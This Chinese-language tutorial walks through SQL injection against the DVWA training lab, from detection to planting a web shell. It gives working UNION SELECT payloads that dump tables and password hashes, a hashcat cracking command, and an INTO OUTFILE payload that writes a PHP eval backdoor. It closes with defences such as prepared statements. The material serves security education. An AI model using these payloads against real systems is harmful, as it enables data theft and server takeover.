1. 项目概述为什么DVWA是SQL注入的绝佳起点如果你刚接触网络安全想找一个地方安全地练习SQL注入DVWADamn Vulnerable Web Application绝对是你绕不开的“新手村”。这名字起得直白——“该死的脆弱Web应用”它就是一个故意设计得漏洞百出的PHP/MySQL应用专门用来学习和练习渗透测试技术。我当年入门时也是从它开始的看着那些简单的输入框一步步从爆出数据库名到最后拿到系统权限那种抽丝剥茧、层层递进的成就感是看多少理论教程都给不了的。SQL注入说白了就是黑客利用Web应用对用户输入检查不严的漏洞把恶意的SQL代码“注入”到后台数据库查询中从而干一些原本不该干的事比如查看、修改、删除数据甚至像我们这次要做的直接往服务器上写一个Web Shell拿到控制权。这个过程听起来很酷但风险极高在真实网站上搞是违法的。所以像DVWA这样的本地靶场就成了我们安全从业者练手的“安全屋”。这篇文章我就带你用DVWA完整走一遍SQL注入从入门到“入土”的五个关键步骤。这不仅仅是点几下鼠标我会把每一步背后的原理、为什么要这么构造Payload、以及我踩过的那些坑都掰开揉碎了讲清楚。目标是让你不仅能复现操作更能理解其内在逻辑建立起自己的攻防思维。准备好了吗我们这就开始搭建战场。2. 环境准备与靶场搭建打造你的专属实验室工欲善其事必先利其器。在开始“注入”之前你得先有一个能随意折腾、不怕搞坏的环境。对于DVWA最省心的方式就是使用集成环境比如XAMPP、PHPStudy或者Docker。我个人强烈推荐新手使用PHPStudy因为它对Windows系统特别友好一键安装Apache、PHP、MySQL几乎不会遇到环境配置的玄学问题。2.1 下载与部署DVWA首先去DVWA的官方GitHub仓库搜索“DVWA GitHub”下载最新的ZIP压缩包。解压后你会得到一个名为dvwa的文件夹。把这个文件夹整个丢到你的Web服务器根目录下。如果你用PHPStudy这个目录通常是phpstudy_pro/WWW/。接着找到dvwa/config目录里面有一个config.inc.php.dist文件把它复制一份重命名为config.inc.php。用文本编辑器比如VS Code或Notepad打开这个config.inc.php文件找到数据库配置部分。关键修改是下面这几行$_DVWA[ db_server ] 127.0.0.1; // 数据库地址本地就是127.0.0.1 $_DVWA[ db_database ] dvwa; // 数据库名保持默认 $_DVWA[ db_user ] root; // 数据库用户名PHPStudy默认是root $_DVWA[ db_password ] root; // 数据库密码PHPStudy默认也是root请务必根据你本地MySQL的实际密码进行修改PHPStudy 2018以后版本默认密码可能是root但新版本也可能是空密码。改错这里待会儿登录就会一直报“数据库连接失败”。注意很多新手卡在第一步就是因为数据库密码不对。如果你不确定可以打开PHPStudy的MySQL管理器或者用命令行mysql -u root -p试试空密码或者root密码登录确认。保存文件后启动PHPStudy的Apache和MySQL服务。然后在浏览器里访问http://127.0.0.1/dvwa/setup.php。这个页面是DVWA的安装和重置页面。点击页面下方那个醒目的“Create / Reset Database”按钮。如果一切顺利页面会提示数据库和表创建成功并自动跳转到登录页面。2.2 初始登录与安全等级设置DVWA的默认登录账号是admin密码是password。登录成功后你会在左侧菜单看到很多漏洞模块比如SQL Injection、Command Injection、File Upload等。在开始之前还有一件至关重要的事设置安全等级。在DVWA页面左侧找到 “DVWA Security” 选项点进去。你会看到一个下拉菜单里面有四个级别Low, Medium, High, Impossible。为了学习最基础的注入原理我们首先将安全等级设置为Low。这个级别几乎没有任何防护代码直接拼接用户输入是理解原始注入的绝佳场景。后续我们也会切换到Medium和High看看常见的防护手段如转义、过滤是如何工作的以及我们如何绕过它们。这比只学一种注入方式有价值得多。实操心得每次进行新的漏洞练习前都先检查一下安全等级。我曾经不止一次折腾了半天发现Payload怎么都不生效最后才恍然大悟安全等级还停留在Impossible完全防护级别白白浪费了时间。环境至此就绪我们的“靶子”已经立好接下来就进入正题开始第一阶段的探测。3. 核心步骤一漏洞探测与信息收集任何一次有效的攻击都始于充分的信息收集SQL注入也不例外。盲目地输入一个单引号‘就指望能爆库那是电影里的情节。在实际操作中我们需要更系统的方法。在DVWA左侧菜单点击 “SQL Injection”你会看到一个简单的用户查询界面只有一个输入框让你输入User ID。在Low安全等级下它的后端PHP代码大致是这样的$id $_REQUEST[ id ]; // 直接获取用户输入没有任何过滤 $query SELECT first_name, last_name FROM users WHERE user_id $id;;看到没它直接把我们的输入$id用单引号包裹后拼接进了SQL语句。这就是最典型的“字符串拼接”漏洞。3.1 判断注入点与注入类型我们的第一步是确认这里是否存在SQL注入漏洞以及是什么类型的注入。输入正常值先输入1点击Submit。页面正常返回了ID为1的用户名admin。这说明功能正常。输入试探值输入1‘数字1加一个单引号。点击提交后如果页面返回了数据库错误比如“You have an error in your SQL syntax...”那么恭喜你漏洞存在单引号破坏了原SQL语句的字符串结构导致语法错误。这初步证明是一个基于字符串的注入点。验证注入类型为了进一步确认我们可以构造一个“永真”条件。输入1‘ or ’1‘’1。注意观察这里的构造原语句是WHERE user_id ‘$id‘。当我们输入1‘ or ’1‘’1后拼接成的语句变为SELECT first_name, last_name FROM users WHERE user_id 1 or 11;由于‘1‘’1‘这个条件永远为真True所以这条查询会忽略user_id ‘1‘的条件返回users表中的所有用户数据。如果页面上一下子显示了多条用户记录不止admin一个那就铁板钉钉地确认了注入漏洞的存在并且我们能够控制查询逻辑。注意事项在Medium安全等级下代码使用了mysql_real_escape_string()函数对单引号进行了转义简单的1‘会失效。这时候我们需要换用数字型注入测试比如输入1 or 11因为Medium等级下输入可能是通过$_POST获取并转为整数但转换不严谨。这告诉我们信息收集阶段也要考虑防护等级的变化灵活调整探测Payload。3.2 判断字段数与显示位确认漏洞后我们需要知道当前查询的SQL语句到底SELECT了几个字段以及页面上显示的数据对应的是第几个字段。这为后续联合查询UNION铺路。这里我们使用ORDER BY子句。ORDER BY 1表示按第一列排序ORDER BY 2表示按第二列排序以此类推。如果指定的列号超出了实际列数数据库就会报错。输入1‘ order by 1 --注意最后有个空格--是MySQL的单行注释符用于注释掉原查询后面的单引号和语句避免语法错误。页面正常。输入1‘ order by 2 --。页面正常。输入1‘ order by 3 --。页面出现错误或没有数据返回。 这说明当前查询的SQL语句只选择了2个字段。这和我们页面显示“First name”和“Surname”两列信息是对应的。接下来我们需要确定这两个字段中哪些内容会回显到页面上以便我们让数据库查询一些我们感兴趣的信息如数据库名、版本并显示出来。这就要用到UNION SELECT语句。UNION可以将我们自定义的查询结果合并到原查询结果中。输入Payload1‘ union select 1,2 --。 拼接后的SQL为SELECT first_name, last_name FROM users WHERE user_id 1 union select 1,2 -- ;执行后页面通常会显示两行结果第一行是ID为1的用户真实数据第二行则显示为我们union select的1和2。如果页面上某个位置出现了数字“1”或“2”那就说明对应的字段是回显点。在DVWA的Low等级SQL注入页面你会发现“First name”处显示了“1”“Surname”处显示了“2”。这意味着第一个和第二个字段都是可用的回显点我们可以把1和2替换成任何我们想查询的函数。4. 核心步骤二利用联合查询获取数据库信息知道了回显点我们就有了从数据库里“掏”信息的通道。MySQL数据库提供了一系列内置函数可以让我们获取当前数据库、用户、版本等关键信息。4.1 获取基础信息我们将上一步Payload中的1和2替换成数据库函数。查询数据库版本1‘ union select version(),2 --version()函数返回MySQL版本信息。这很重要因为不同版本的MySQL其特性、语法和默认配置可能有差异关乎后续高级利用。查询当前数据库名1‘ union select database(),2 --database()函数返回当前查询所使用的数据库名称。这是我们攻击的首要目标。查询当前数据库用户1‘ union select user(),2 --user()函数返回执行当前查询的数据库用户名。这有助于我们判断当前权限。如果是rootlocalhost那意味着我们拥有最高数据库权限为后续写文件操作提供了可能。在DVWA中执行1‘ union select database(),2 --你会在“First name”的位置看到返回了dvwa这就是我们正在操作的数据库名。同时执行1‘ union select version(), user() --可以一次性在“First name”和“Surname”位置看到版本号和用户信息。4.2 爆出所有数据库与表结构拿到当前数据库名只是开始。一个MySQL实例里通常有多个数据库我们需要知道有哪些库以及目标库这里是dvwa里有哪些表表里有哪些列。爆出所有数据库名 MySQL中有一个名为information_schema的元数据库它存储了所有其他数据库的表、列、权限等信息。其中schemata表就记录了所有数据库的名字。 输入Payload1‘ union select schema_name,2 from information_schema.schemata --这会把所有数据库名schema_name显示出来。你不仅会看到dvwa还会看到information_schema、mysql、performance_schema等系统库。mysql库尤其重要里面存储着用户认证信息。爆出目标数据库的所有表名 确定了目标数据库dvwa后我们查询information_schema.tables表获取该库下的所有表。 输入Payload1‘ union select table_name,2 from information_schema.tables where table_schema‘dvwa‘ --这里table_schema字段指定数据库名。执行后你会看到dvwa库里有guestbook和users两个表。显然users表是我们最感兴趣的它很可能存放着用户名和密码。爆出目标表的所有列名 知道了表名users接下来需要知道它有哪些列。查询information_schema.columns表。 输入Payload1‘ union select column_name,2 from information_schema.columns where table_schema‘dvwa‘ and table_name‘users‘ --执行后你会看到user_id,first_name,last_name,user,password,avatar等列名。user和password列赫然在目这就是我们的终极目标之一。实操心得在真实、复杂的注入场景中information_schema数据库可能被禁止访问或者列名需要猜测。这时候就需要用到“盲注”技术通过查询返回的真假布尔盲注或时间延迟时间盲注来一点点“猜”出信息。DVWA的High安全等级就模拟了这种场景代码使用了Cookie传递参数且对输出做了严格限制无法直接回显数据迫使你使用更高级的盲注技巧。这是从“入门”到“进阶”必须跨越的坎。5. 核心步骤三提取关键数据与密码破解拿到了表名和列名提取数据就水到渠成了。我们可以直接用UNION SELECT把想要的数据查出来。5.1 提取用户与密码哈希值输入Payload1‘ union select user, password from users --这个语句会从users表中选取user和password两列并显示在页面的两个回显点上。你会看到类似这样的结果admin | 5f4dcc3b5aa765d61d8327deb882cf99 gordonb | e99a18c428cb38d5f260853678922e03 1337 | 8d3533d75ae2c3966d7e0d4fcc69216b ...右边那一长串看起来像乱码的字符串就是密码的哈希值Hash而不是明文密码。现代应用几乎不会明文存储密码而是存储其经过哈希算法如MD5、SHA1、bcrypt计算后的“指纹”。5f4dcc3b5aa765d61d8327deb882cf99就是字符串 “password” 的MD5哈希值。5.2 破解密码哈希我们的目标是得到可用的明文密码。对于MD5这种弱哈希有几种方法在线解密网站把哈希值复制到一些MD5解密网站如cmd5.com去查询。因为“password”太常见其MD5值5f4dcc3b5aa765d61d8327deb882cf99早已被收录进彩虹表网站能瞬间返回明文“password”。但对于一些复杂的密码可能无法直接查到。使用Hashcat或John the Ripper离线破解这是更专业的方法。你可以将获取到的哈希值保存到一个文件里比如hash.txt然后使用工具配合密码字典进行暴力破解或规则破解。例如用Hashcat的基本命令hashcat -m 0 -a 0 hash.txt rockyou.txt-m 0指定哈希类型为MD5。-a 0指定破解模式为字典攻击。rockyou.txt是一个著名的弱密码字典。在DVWA的案例中我们轻松得到了admin的密码是“password”。现在我们不仅有了数据库的全部信息还掌握了最高权限的用户凭证。但这远不是终点SQL注入最危险的利用方式之一是“写文件”进而获取服务器权限。6. 核心步骤四利用文件写入权限获取Web Shell“写Shell”是SQL注入攻击中一个标志性的高阶利用手段。其原理是利用MySQL的SELECT ... INTO OUTFILE或DUMPFILE语句将一段可执行的代码通常是PHP一句话木马写入到Web服务器有权限访问的目录下从而通过浏览器访问这个文件来执行任意系统命令。6.1 前提条件检查这个操作并非总能成功它需要满足几个严苛的条件当前数据库用户拥有FILE权限通常只有root或类似的高权限用户才有。我们在步骤二用user()函数查到的用户如果是rootlocalhost那就很有希望。知道Web目录的绝对路径我们需要把文件写到如/var/www/html/Linux或C:\xampp\htdocs\Windows这样的Web根目录或其子目录下才能通过URL访问。secure_file_priv系统变量允许导出MySQL有一个安全配置项secure_file_priv。如果它被设置为一个目录如/var/lib/mysql-files/那么INTO OUTFILE只能向该目录写入如果设置为NULL则禁止所有导出操作如果为空则可以向任意有权限的目录写入。我们可以通过注入查询这些条件检查权限1‘ union select file_priv,2 from mysql.user where user‘root‘ and host‘localhost‘ --如果返回Y则有FILE权限。查询路径和配置1‘ union select basedir, datadir --可以查看MySQL安装目录和数据目录有时Web目录就在其附近。更直接的是通过一些Web应用的报错信息来推测。在DVWA中我们可以通过查询version_compile_os知道操作系统而Web路径通常是我们自己搭建时知道的例如PHPStudy的WWW目录。检查secure_file_priv1‘ union select secure_file_priv,2 --。在PHPStudy的默认配置中这个值通常是空的这意味着允许向任意目录导出为我们写文件创造了条件。6.2 构造并写入一句话木马假设我们已知Web绝对路径为C:/phpstudy_pro/WWW/dvwa/Windows或/var/www/html/dvwa/Linux。我们要写入一个最简单的PHP一句话木马文件内容为?php eval($_POST[‘cmd‘]);?这段代码的意思是接收一个名为cmd的POST参数并将其内容作为PHP代码执行。我们构造注入Payload。注意路径中的反斜杠\需要转义或者使用正斜杠/。 对于Windows环境1‘ union select “?php eval($_POST[‘cmd‘]);?“,2 into outfile “C:/phpstudy_pro/WWW/dvwa/shell.php“ --对于Linux环境1‘ union select “?php eval($_POST[‘cmd‘]);?“,2 into outfile “/var/www/html/dvwa/shell.php“ --执行这个Payload如果页面没有报错只是正常返回了用户信息那么很可能已经写入成功。6.3 验证与连接Web Shell打开浏览器访问http://127.0.0.1/dvwa/shell.php。如果页面一片空白没有报404或语法错误那就说明文件存在且被服务器成功解析了。接下来我们需要一个工具来和这个“木马”交互。最常用的是中国菜刀Chopper或AntSword蚁剑这类WebShell管理工具。这里以更现代、开源的蚁剑为例打开蚁剑点击“添加数据”。URL地址填写http://127.0.0.1/dvwa/shell.php。连接密码填写我们写在木马文件里的cmd即POST参数名。其他设置保持默认点击“添加”。如果一切配置正确蚁剑会成功连接并在左侧列出服务器的目录结构。至此你已经通过SQL注入成功在目标服务器上植入了一个Web Shell获得了相当于Web服务运行用户如www-data、apache的系统权限。你可以浏览、下载、上传文件甚至执行系统命令。致命注意事项这是整个过程中风险最高的一步仅限于本地靶场或获得明确授权的测试环境。在真实未授权的网站上尝试此操作是严重的违法行为。即使在靶场操作后也请务必及时删除生成的shell.php文件并重置DVWA数据库养成良好的安全习惯。7. 核心步骤五防御措施与安全编程思维走完攻击流程我们更应该深刻理解如何防御。所有防御的核心思想都是不要信任任何用户输入。7.1 不同安全等级的防御对比DVWA的四个安全等级本身就是一部生动的防御演进史Low毫无防御直接字符串拼接。这是我们攻击的起点。Medium使用了mysql_real_escape_string()函数对输入进行转义并尝试将输入转为整数$id (int) $id;。这可以防御大部分简单的字符串注入但如果是数字型注入且转换逻辑有误仍可能被绕过。High采用了更严格的限制。输入不是直接从$_GET获取而是来自$_SESSION并且查询界面与输入点分离输出被严格限制迫使攻击者使用更复杂的盲注。同时使用了LIMIT 1来限制输出。Impossible使用了参数化查询Prepared Statements这是当前公认最有效的防御SQL注入的方法。代码将SQL语句SELECT ... WHERE user_id ?与数据$id分开发送给数据库数据库会严格区分指令和数据从根本上杜绝了拼接带来的注入可能。7.2 最佳防御实践使用参数化查询预编译语句这是黄金准则。无论是PHP的PDO、MySQLi还是Java的PreparedStatementPython的sqlite3所有主流语言和框架都支持。永远不要手动拼接SQL语句。// PDO 示例 (Impossible等级的做法) $stmt $pdo-prepare(‘SELECT first_name, last_name FROM users WHERE user_id :id;‘); $stmt-bindParam(‘:id‘, $id, PDO::PARAM_INT); $stmt-execute();实施最小权限原则给Web应用使用的数据库账户分配最小的、必要的权限。绝对不要使用root账户。通常只赋予SELECT、INSERT、UPDATE、DELETE等业务权限坚决移除FILE、GRANT OPTION、SHUTDOWN等危险权限。对输入进行严格的校验和过滤在业务逻辑层对输入数据的类型、长度、格式如邮箱、电话进行白名单校验。例如对于User ID明确要求必须是整数那么就在代码里强制转换并校验。使用Web应用防火墙WAF在应用前端部署WAF可以过滤掉大量已知的、特征明显的攻击Payload作为一道有效的补充防线。避免详细的错误回显像DVWA Low等级那样将数据库错误直接抛给用户是在给攻击者提供“路标”。生产环境应配置自定义错误页面记录错误日志到后端而非前端显示。从爆库到写Shell的五个步骤不仅是一次技术演练更是一次完整的攻防思维训练。理解了攻击者如何思考、如何一步步推进你才能在设计系统、编写代码时真正站在防御者的角度堵上每一个可能的缺口。在DVWA里你可以放心大胆地尝试、失败、再尝试把所有坑都踩一遍。当你切换到Impossible等级看到自己之前所有精巧的Payload都失效时你对“安全”二字的理解会比读任何教科书都来得深刻。这就是靶场学习的真正价值所在。